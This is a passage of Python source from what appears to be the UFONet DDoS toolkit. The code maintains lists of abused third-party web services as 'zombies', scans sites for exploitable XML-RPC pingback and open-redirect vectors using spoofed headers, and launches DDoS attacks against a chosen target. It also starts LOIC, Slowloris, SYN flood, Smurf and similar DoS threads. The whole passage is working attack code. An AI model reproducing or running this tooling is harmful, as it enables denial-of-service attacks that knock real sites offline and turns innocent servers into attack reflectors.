  4688. # update zombies on file
  4689. options = self.options
  4690. if options.attackme:
  4691. f = open(self.zombies_file, "w") # re-write list
  4692. for zombie in self.doll.real_zombies: # add only alien verified zombies
  4693. for x in zombie:
  4694. f.write(str(x) + os.linesep)
  4695. f.close()
  4696. if options.test or options.testall:
  4697. if not options.test:
  4698. options.test = self.zombies_file
  4699. f = open(options.test, "w") # re-write list only with zombies ready
  4700. for zombie in zombies_ready:
  4701. f.write(zombie + os.linesep)
  4702. f.close()
  4703. if options.search or options.dorks or options.autosearch or options.download or options.download_github or options.download_nodes: # append only new zombies to list (dorking supported)
  4704. f = open(self.zombies_file)
  4705. zombies_on_file = f.read().splitlines()
  4706. with open(self.zombies_file, "a") as zombie_list:
  4707. for zombie in zombies_ready:
  4708. if zombie not in zombies_on_file: # parse possible repetitions
  4709. zombie_list.write(zombie + os.linesep)
  4710. if options.download or options.download_github or options.download_nodes:
  4711. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4712. else:
  4713. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  4714. f.close()
  4715. def update_aliens(self, aliens_ready):
  4716. # update aliens on file
  4717. options = self.options
  4718. if options.download or options.download_github or options.download_nodes: # append only new aliens to list
  4719. f = open(self.aliens_file)
  4720. aliens_on_file = f.read().splitlines()
  4721. with open(self.aliens_file, "a") as alien_list:
  4722. for alien in aliens_ready:
  4723. if alien not in aliens_on_file: # parse possible repetitions
  4724. alien_list.write(alien + os.linesep)
  4725. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4726. f.close()
  4727. def update_droids(self, droids_ready):
  4728. # update droids on file
  4729. options = self.options
  4730. if options.download or options.download_github or options.download_nodes: # append only new droids to list
  4731. f = open(self.droids_file)
  4732. droids_on_file = f.read().splitlines()
  4733. with open(self.droids_file, "a") as droid_list:
  4734. for droid in droids_ready:
  4735. if droid not in droids_on_file: # parse possible repetitions
  4736. droid_list.write(droid + os.linesep)
  4737. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4738. f.close()
  4739. def update_ucavs(self, ucavs_ready):
  4740. # update ucavs on file
  4741. options = self.options
  4742. if options.download or options.download_github or options.download_nodes: # append only new ucavs to list
  4743. f = open(self.ucavs_file)
  4744. ucavs_on_file = f.read().splitlines()
  4745. with open(self.ucavs_file, "a") as ucav_list:
  4746. for ucav in ucavs_ready:
  4747. if ucav not in ucavs_on_file: # parse possible repetitions
  4748. ucav_list.write(ucav + os.linesep)
  4749. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4750. f.close()
  4751. def update_rpcs(self, rpcs_ready):
  4752. # update rpcs on file
  4753. options = self.options
  4754. if options.testrpc or options.testall:
  4755. f = open(self.rpcs_file, "w") # re-write list
  4756. for rpc in rpcs_ready: # add only rpc verified zombies
  4757. f.write(rpc + os.linesep)
  4758. f.close()
  4759. if options.download or options.download_github or options.download_nodes: # append only new rpcs to list
  4760. f = open(self.rpcs_file)
  4761. rpcs_on_file = f.read().splitlines()
  4762. with open(self.rpcs_file, "a") as rpc_list:
  4763. for rpc in rpcs_ready:
  4764. if rpc not in rpcs_on_file: # parse possible repetitions
  4765. rpc_list.write(rpc + os.linesep)
  4766. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4767. f.close()
  4768. def update_dnss(self, dnss_ready):
  4769. # update dns on file
  4770. options = self.options
  4771. if options.download or options.download_github or options.download_nodes: # append only new dns to list
  4772. f = open(self.dnss_file)
  4773. dnss_on_file = f.read().splitlines()
  4774. with open(self.dnss_file, "a") as dns_list:
  4775. for dns in dnss_ready:
  4776. if dns not in dnss_on_file: # parse possible repetitions
  4777. dns_list.write(dns + os.linesep)
  4778. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4779. f.close()
  4780. def update_ntps(self, ntps_ready):
  4781. # update ntps on file
  4782. options = self.options
  4783. if options.download or options.download_github or options.download_nodes: # append only new ntps to list
  4784. f = open(self.ntps_file)
  4785. ntps_on_file = f.read().splitlines()
  4786. with open(self.ntps_file, "a") as ntp_list:
  4787. for ntp in ntps_ready:
  4788. if ntp not in ntps_on_file: # parse possible repetitions
  4789. ntp_list.write(ntp + os.linesep)
  4790. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4791. f.close()
  4792. def update_snmps(self, snmps_ready):
  4793. # update snmps on file
  4794. options = self.options
  4795. if options.download or options.download_github or options.download_nodes: # append only new snmps to list
  4796. f = open(self.snmps_file)
  4797. snmps_on_file = f.read().splitlines()
  4798. with open(self.snmps_file, "a") as snmp_list:
  4799. for snmp in snmps_ready:
  4800. if snmp not in snmps_on_file: # parse possible repetitions
  4801. snmp_list.write(snmp + os.linesep)
  4802. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4803. f.close()
  4804. def search_rpc(self, rpc_host):
  4805. options = self.options
  4806. rpc_vulnerable = False
  4807. rpc_pingback_url = False
  4808. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4809. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4810. try:
  4811. if self.options.testall: # testing_all
  4812. if options.proxy: # set proxy
  4813. self.proxy_transport(options.proxy)
  4814. req = urllib.request.Request(rpc_host, None, headers)
  4815. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4816. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4817. for link in rpc_links:
  4818. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4819. rpc_pingback_url = link[0]
  4820. rpc_vulnerable = True
  4821. break # found it!
  4822. else: # not any XML-RPC discovering methods are working
  4823. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4824. rpc_vulnerable = False
  4825. else:
  4826. if rpc_host.startswith("http://"):
  4827. rpc_host = rpc_host.replace("http://", "")
  4828. if rpc_host.startswith("https://"):
  4829. rpc_host = rpc_host.replace("https://", "")
  4830. rpc_host = urlparse(rpc_host)
  4831. rpc_path = rpc_host.path.replace("\r", "")
  4832. self.head = True # send HTTP HEAD request searching for: X-Pingback
  4833. reply = self.connect_zombie(rpc_path)
  4834. self.head = False
  4835. if "X-Pingback" in reply: # discovering pingback-enabled resources
  4836. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  4837. rpc_pingback_url = m.group(1) # extract rpc server url
  4838. rpc_vulnerable = True
  4839. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  4840. if options.proxy: # set proxy
  4841. self.proxy_transport(options.proxy)
  4842. req_rpc = urllib.request.Request(rpc_host, None, headers)
  4843. req_rpc.get_method = lambda : 'GET'
  4844. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  4845. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4846. for link in rpc_links:
  4847. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4848. rpc_pingback_url = link[0]
  4849. rpc_vulnerable = True
  4850. break # found it!
  4851. else: # not any XML-RPC discovering methods are working
  4852. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4853. rpc_vulnerable = False
  4854. except: # something wrong discovering XML-RPC Pingback
  4855. pass
  4856. return rpc_vulnerable, rpc_pingback_url
  4857. def testing_offline(self):
  4858. # check for zombies offline
  4859. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  4860. print('='*35)
  4861. zombies_online = 0
  4862. zombies_offline = 0
  4863. zombies = self.extract_zombies()
  4864. rpcs = self.extract_rpcs()
  4865. aliens = self.extract_aliens()
  4866. droids = self.extract_droids()
  4867. ucavs = self.extract_ucavs()
  4868. try:
  4869. botnet = zombies + rpcs + aliens + droids + ucavs
  4870. except:
  4871. return
  4872. discarded = [] # for discarded zombies
  4873. if not botnet:
  4874. return
  4875. self.head = True
  4876. for zombie in botnet:
  4877. zombie = str(zombie)
  4878. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  4879. zombie_type = 'Zombie'
  4880. elif zombie in rpcs:
  4881. zombie_type = 'XML-RPC'
  4882. elif zombie in aliens:
  4883. zombie_type = 'Alien'
  4884. elif zombie in droids:
  4885. zombie_type = 'Droid'
  4886. elif zombie in ucavs:
  4887. zombie_type = 'UCAV'
  4888. t = urlparse(zombie)
  4889. name_zombie = t.netloc
  4890. if name_zombie == "":
  4891. name_zombie = zombie
  4892. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  4893. sep = ';$POST;'
  4894. zombie = zombie.split(sep, 1)[0]
  4895. try:
  4896. reply = str(self.connect_zombie(zombie))
  4897. except:
  4898. reply = None
  4899. if reply:
  4900. if reply == "200" or reply == "301" or reply == "302":
  4901. status = "ONLINE! -> [OK!]"
  4902. else:
  4903. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  4904. zombies_online = zombies_online + 1
  4905. else:
  4906. status = "NOT Working!"
  4907. zombies_offline = zombies_offline + 1
  4908. print("\nName:", name_zombie)
  4909. print("Type: [", zombie_type, "]")
  4910. print("Vector:", zombie)
  4911. print("HTTP Code: [", reply, "]")
  4912. print("STATUS:", status)
  4913. print('-'*21)
  4914. if status == "NOT Working!": # add to discarded zombies
  4915. if zombie not in discarded:
  4916. discarded.append(zombie)
  4917. print("\n" + '='*52)
  4918. print("\n+ Total Botnet:", len(botnet))
  4919. print("\n" + '-'*25 + "\n")
  4920. print(" - ONLINE:", zombies_online)
  4921. print(" - OFFLINE:", zombies_offline, "\n")
  4922. print('='*52 + '\n')
  4923. self.head = False
  4924. if zombies_offline > 0:
  4925. if not self.options.forceyes:
  4926. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  4927. print('-'*25 + "\n")
  4928. else:
  4929. test_reply = "Y"
  4930. if test_reply == "n" or test_reply == "N":
  4931. print("[AI] "+self.exit_msg+"\n")
  4932. return
  4933. else:
  4934. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4935. print('='*52)
  4936. print("\n - DISCARDED:", disc_zombies)
  4937. new_botnet = int(len(botnet) - disc_zombies)
  4938. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  4939. print('='*52 + '\n')
  4940. else:
  4941. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  4942. def send_extra_zombies(self):
  4943. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  4944. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  4945. if self.options.verbose:
  4946. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  4947. aliens = [self.extract_aliens()] # extract aliens from file to a list
  4948. for a in aliens:
  4949. if a is None:
  4950. self.options.disablealiens = True
  4951. self.total_aliens = 0 # not any alien invoked
  4952. else:
  4953. for s in a: # extract number of aliens
  4954. self.total_aliens = self.total_aliens + 1
  4955. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  4956. al.start()
  4957. else:
  4958. self.options.disablealiens = True
  4959. self.total_aliens = 0 # not any alien invoked
  4960. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  4961. if self.options.verbose:
  4962. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  4963. droids = [self.extract_droids()] # extract droids from file to a list
  4964. for d in droids:
  4965. if d is None:
  4966. self.options.disabledroids = True
  4967. self.total_droids = 0 # not any droid invoked
  4968. else:
  4969. for s in d: # extract number of droids
  4970. self.total_droids = self.total_droids + 1
  4971. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  4972. dr.start()
  4973. else:
  4974. self.options.disabledroids = True
  4975. self.total_droids = 0 # not any droid invoked
  4976. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  4977. if self.options.verbose:
  4978. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  4979. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  4980. for r in rpcs:
  4981. if r is None:
  4982. self.options.disablerpcs = True
  4983. self.total_rpcs = 0 # not any rpc invoked
  4984. else:
  4985. for s in r: # extract number of rpcs
  4986. self.total_rpcs = self.total_rpcs + 1
  4987. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  4988. rp.start()
  4989. else:
  4990. self.options.disablerpcs = True
  4991. self.total_rpcs = 0 # not any rpcs invoked
  4992. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  4993. if self.options.verbose:
  4994. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  4995. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  4996. for u in ucavs:
  4997. if u is None:
  4998. self.options.disableucavs = True
  4999. self.total_ucavs = 0 # not any ucav invoked
  5000. else:
  5001. for s in u: # extract number of ucavs
  5002. self.total_ucavs = self.total_ucavs + 1
  5003. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  5004. uc.start()
  5005. else:
  5006. self.options.disableucavs = True
  5007. self.total_ucavs = 0 # not any ucavs invoked
  5008. def abandoning_zombies(self):
  5009. if self.options.expire: # set timing for purge
  5010. try:
  5011. timing = int(self.options.expire)
  5012. except:
  5013. timing = self.expire_timing # default timing for purge
  5014. else:
  5015. timing = self.expire_timing # default timing for purge
  5016. if timing < 1:
  5017. timing = self.expire_timing # default timing for purge
  5018. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5019. zombies_lock = 0
  5020. if self.options.verbose:
  5021. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  5022. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  5023. zombies_lock = zombies_lock + 1
  5024. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5025. if self.options.verbose:
  5026. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5027. break
  5028. else:
  5029. time.sleep(1)
  5030. def discard_zombies(self, discarded):
  5031. disc_zombies = 0
  5032. if self.options.testoffline:
  5033. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  5034. else:
  5035. zombies_list = [self.zombies_file]
  5036. if not self.options.disablealiens: # add aliens
  5037. zombies_list.append(self.aliens_file)
  5038. if not self.options.disabledroids: # add droids
  5039. zombies_list.append(self.droids_file)
  5040. if not self.options.disablerpcs: # add rpcs
  5041. zombies_list.append(self.rpcs_file)
  5042. if not self.options.disableucavs: # add ucavs
  5043. zombies_list.append(self.ucavs_file)
  5044. for l in zombies_list:
  5045. f = open(l, "r+")
  5046. d = f.readlines()
  5047. f.close()
  5048. f = open(l, "w")
  5049. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  5050. f.close()
  5051. return disc_zombies
  5052. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  5053. m = []
  5054. for zombie in d:
  5055. if zombie not in discarded == True:
  5056. m.append(zombie) # save it
  5057. else:
  5058. disc_zombies = disc_zombies + 1
  5059. if not m:
  5060. f.write("")
  5061. else:
  5062. for z in m:
  5063. f.write(z+os.linesep)
  5064. return disc_zombies
  5065. def parse_url_encoding(self, target):
  5066. t = urlparse(target)
  5067. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  5068. path = urllib.parse.quote(t.path.encode('utf-8'))
  5069. query = urllib.parse.quote(t.query.encode('utf-8'))
  5070. if query:
  5071. if path.endswith(""):
  5072. path.replace("", "/")
  5073. query = urllib.parse.quote(t.query.encode('utf-8'))
  5074. target = t.scheme+"://"+host + path + "?" + query
  5075. else:
  5076. target = t.scheme+"://"+host + path
  5077. return target
  5078. def testing_rpcs(self, rpcs):
  5079. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  5080. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  5081. options = self.options
  5082. if self.options.testall: #testing_all
  5083. print('='*51)
  5084. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  5085. print('='*51)
  5086. num_active_rpcs = 0
  5087. num_failed_rpcs = 0
  5088. rpcs_ready = []
  5089. print("Trying:", len(rpcs))
  5090. print('-'*21)
  5091. for rpc in rpcs:
  5092. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5093. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5094. if rpc.startswith("http://") or rpc.startswith("https://"):
  5095. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  5096. rpc_host = rpc.replace("/xmlrpc.php", "")
  5097. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  5098. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  5099. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  5100. try:
  5101. if options.proxy: # set proxy
  5102. self.proxy_transport(options.proxy)
  5103. try:
  5104. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  5105. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5106. except:
  5107. if DEBUG == True:
  5108. traceback.print_exc()
  5109. if self.options.verbose:
  5110. print("[Info] [X-RPCs] Reply:", target_reply)
  5111. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  5112. print("[Info] [AI] -> [VULNERABLE!]")
  5113. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  5114. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  5115. else:
  5116. print("[Info] [AI] -> [NOT vulnerable...]")
  5117. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5118. except:
  5119. print("[Info] [AI] -> [NOT vulnerable...]")
  5120. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5121. else:
  5122. print("[Info] [AI] -> [NOT vulnerable...]")
  5123. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5124. print('-'*21)
  5125. print('='*18)
  5126. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  5127. print('='*18)
  5128. if self.options.testall: # testing_all
  5129. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  5130. else:
  5131. # update 'rpcs' list
  5132. if num_active_rpcs == 0:
  5133. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  5134. return
  5135. else:
  5136. if not self.options.forceyes:
  5137. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  5138. print('-'*25)
  5139. else:
  5140. update_reply = "Y"
  5141. if update_reply == "n" or update_reply == "N":
  5142. print("[AI] "+self.exit_msg+"\n")
  5143. return
  5144. else:
  5145. self.update_rpcs(rpcs_ready)
  5146. if not self.options.upload:
  5147. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5148. def testing(self, zombies):
  5149. # test Open Redirect exploiting and show statistics
  5150. # HTTP HEAD check
  5151. army = 0
  5152. print ("Are 'they' alive? :-) (HEAD Check):")
  5153. print('='*35)
  5154. num_active_zombies = 0
  5155. num_failed_zombies = 0
  5156. active_zombies = []
  5157. print("Trying:", len(zombies))
  5158. print('-'*21)
  5159. for zombie in zombies:
  5160. zombie = str(zombie)
  5161. if zombie.startswith("http://") or zombie.startswith("https://"):
  5162. # send HEAD connection
  5163. self.head = True
  5164. try:
  5165. self.connect_zombies(zombie)
  5166. except:
  5167. pass
  5168. while self.herd.no_more_zombies() == False:
  5169. time.sleep(1)
  5170. for zombie in self.herd.done:
  5171. zombie = str(zombie)
  5172. t = urlparse(zombie)
  5173. if self.herd.get_result(zombie):
  5174. code_reply = self.herd.get_result(zombie)
  5175. self.head = False
  5176. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  5177. name_zombie = t.netloc
  5178. if name_zombie == "":
  5179. name_zombie = zombie
  5180. print("Zombie:", name_zombie)
  5181. print("Status: OK ["+ code_reply + "]")
  5182. num_active_zombies = num_active_zombies + 1
  5183. active_zombies.append(zombie)
  5184. elif code_reply == "401":
  5185. print("Zombie:", t.netloc)
  5186. print("Status: Unauthorized ["+ code_reply + "]")
  5187. num_failed_zombies = num_failed_zombies + 1
  5188. elif code_reply == "403":
  5189. print("Zombie:", t.netloc)
  5190. print("Status: Error Forbidden ["+ code_reply + "]")
  5191. num_failed_zombies = num_failed_zombies + 1
  5192. elif code_reply == "404":
  5193. print("Zombie:", t.netloc)
  5194. print("Status: Not Found ["+ code_reply + "]")
  5195. num_failed_zombies = num_failed_zombies + 1
  5196. elif code_reply == "500":
  5197. print("Zombie:", t.netloc)
  5198. print("Status: Internal Server Error ["+ code_reply + "]")
  5199. num_failed_zombies = num_failed_zombies + 1
  5200. else:
  5201. print("Zombie:", t.netloc, "\nVector:", zombie)
  5202. print("Status: Not Allowed ["+ code_reply + "]")
  5203. num_failed_zombies = num_failed_zombies + 1
  5204. else:
  5205. if self.options.verbose:
  5206. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  5207. print("Zombie:", zombie)
  5208. print("Status: Malformed!")
  5209. num_failed_zombies = num_failed_zombies + 1
  5210. print('-'*10)
  5211. self.herd.reset()
  5212. print('='*18)
  5213. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  5214. print('='*18 + "\n")
  5215. print('='*22)
  5216. if num_active_zombies > 0:
  5217. # check url parameter vectors
  5218. print ("Checking for payloads:")
  5219. print('='*22)
  5220. print("Trying:", num_active_zombies)
  5221. print('-'*21)
  5222. zombies_ready = []
  5223. num_waiting_zombies = 0
  5224. if num_active_zombies == 0:
  5225. num_disconnected_zombies = num_failed_zombies
  5226. else:
  5227. num_disconnected_zombies = 0
  5228. for zombie in active_zombies:
  5229. zombie = str(zombie)
  5230. t = urlparse(zombie)
  5231. name_zombie = t.netloc
  5232. if name_zombie == "":
  5233. name_zombie = zombie
  5234. self.payload = True
  5235. try:
  5236. self.connect_zombies(zombie)
  5237. except:
  5238. pass
  5239. self.payload = False
  5240. while self.herd.no_more_zombies() == False:
  5241. time.sleep(1)
  5242. for zombie in self.herd.done:
  5243. zombie = str(zombie)
  5244. t = urlparse(zombie)
  5245. name_zombie = t.netloc
  5246. if name_zombie == "":
  5247. name_zombie = zombie
  5248. payload_zombie = zombie
  5249. payload_reply = ""
  5250. print("Vector:", payload_zombie)
  5251. self.payload = True
  5252. if self.herd.get_result(zombie):
  5253. payload_reply = self.herd.get_result(zombie)
  5254. self.payload = False
  5255. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  5256. num_waiting_zombies = num_waiting_zombies + 1
  5257. print("Status:", "Waiting for orders... ;-)")
  5258. zombies_ready.append(zombie)
  5259. else:
  5260. num_disconnected_zombies = num_disconnected_zombies + 1
  5261. print("Status:", "Not ready...")
  5262. army = army + 1
  5263. print('-'*10)
  5264. self.herd.reset()
  5265. print('='*18)
  5266. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  5267. print('='*18 + "\n")
  5268. # list of [Zombies] ready to attack
  5269. num_active_zombie = 0
  5270. for z in zombies_ready:
  5271. t = urlparse(z)
  5272. name_zombie = t.netloc
  5273. if name_zombie == "":
  5274. name_zombie = z
  5275. num_active_zombie = num_active_zombie + 1
  5276. if self.options.verbose:
  5277. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  5278. if self.options.testall: # testing_all
  5279. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  5280. else:
  5281. print('-'*25 + "\n")
  5282. print('='*24)
  5283. print("Working [Zombies]:", num_active_zombie)
  5284. print('='*24)
  5285. if not self.options.forceyes:
  5286. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  5287. print('-'*25)
  5288. else:
  5289. update_reply = "Y"
  5290. if update_reply == "n" or update_reply == "N":
  5291. print("[AI] "+self.exit_msg+"\n")
  5292. return
  5293. else:
  5294. self.update_zombies(zombies_ready)
  5295. if not self.options.upload:
  5296. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5297. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  5298. else:
  5299. print('-'*25 + "\n")
  5300. print('='*24)
  5301. print("Working [Zombies]:", num_active_zombies)
  5302. print('='*24)
  5303. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  5304. def testing_all(self):
  5305. # test whole botnet
  5306. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  5307. print('='*35)
  5308. zombies = self.extract_zombies()
  5309. rpcs = self.extract_rpcs()
  5310. aliens = self.extract_aliens()
  5311. droids = self.extract_droids()
  5312. ucavs = self.extract_ucavs()
  5313. try:
  5314. botnet = zombies + rpcs + aliens + droids + ucavs
  5315. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  5316. except:
  5317. return
  5318. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  5319. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  5320. print("\n" + '='*52)
  5321. print("\n+ Total Botnet:", len(botnet))
  5322. print("\n" + '-'*25)
  5323. print("\n+ Total Tested:", len(tested_zombies))
  5324. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  5325. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  5326. print('='*52 + '\n')
  5327. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  5328. if not self.options.forceyes:
  5329. update_reply = input("[AI] Do you want update your army? (Y/n)")
  5330. print('-'*25)
  5331. else:
  5332. update_reply = "Y"
  5333. if update_reply == "n" or update_reply == "N":
  5334. print("[AI] "+self.exit_msg+"\n")
  5335. return
  5336. else:
  5337. if num_disconnected_zombies > 0:
  5338. self.update_zombies(zombies_ready)
  5339. if num_failed_rpcs > 0:
  5340. self.update_rpcs(rpcs_ready)
  5341. if not self.options.upload:
  5342. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5343. else:
  5344. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  5345. def attacking(self, zombies, target):
  5346. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  5347. if self.options.forcessl:
  5348. if target.startswith("http://"):
  5349. target = target.replace("http://", "https://") # force SSL/TLS
  5350. if target.startswith("http://") or target.startswith("https://"):
  5351. print("Attacking:", target)
  5352. print('='*55, "\n")
  5353. # send Open Redirect injection (multiple zombies > one target url)
  5354. reply = self.injection(target, zombies)
  5355. else:
  5356. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  5357. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
  5358. # perform some other extra attacks (such as DoS techniques)
  5359. time.sleep(2) # aiming (multi-threading flow time compensation)
  5360. if loic:
  5361. try:
  5362. self.options.loic = int(loic)
  5363. except:
  5364. self.options.loic = 100 # default LOIC requests
  5365. if self.options.loic < 1:
  5366. self.options.loic = 100
  5367. self.instance = LOIC() # instance main class for LOIC operations
  5368. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  5369. self.t1.daemon = True # extra weapons are threaded as daemons
  5370. self.t1.start()
  5371. self.update_loic_stats() # add new LOIC attack to mothership stats
  5372. if loris:
  5373. try:
  5374. self.options.loris = int(loris)
  5375. except:
  5376. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  5377. if self.options.loris < 1:
  5378. self.options.loris = 101
  5379. self.instance = LORIS() # instance main class for LORIS operations
  5380. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  5381. self.t2.daemon = True
  5382. self.t2.start()
  5383. self.update_loris_stats() # add new LORIS attack to mothership stats
  5384. if ufosyn:
  5385. try:
  5386. self.options.ufosyn = int(ufosyn)
  5387. except:
  5388. self.options.ufosyn = 100 # default UFOSYN requests
  5389. if self.options.ufosyn < 1:
  5390. self.options.ufosyn = 100
  5391. self.instance = UFOSYN() # instance main class for UFOSYN operations
  5392. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  5393. self.t3.daemon = True
  5394. self.t3.start()
  5395. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  5396. if spray:
  5397. try:
  5398. self.options.spray = int(spray)
  5399. except:
  5400. self.options.spray = 100 # default SPRAY requests
  5401. if self.options.spray < 1:
  5402. self.options.spray = 100
  5403. self.instance = SPRAY() # instance main class for SPRAY operations
  5404. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  5405. self.t4.daemon = True
  5406. self.t4.start()
  5407. self.update_spray_stats() # add new SPRAY attack to mothership stats
  5408. if smurf:
  5409. try:
  5410. self.options.smurf = int(smurf)
  5411. except:
  5412. self.options.smurf = 101 # default SMURF requests
  5413. if self.options.smurf < 1:
  5414. self.options.smurf = 101
  5415. self.instance = SMURF() # instance main class for SMURF operations
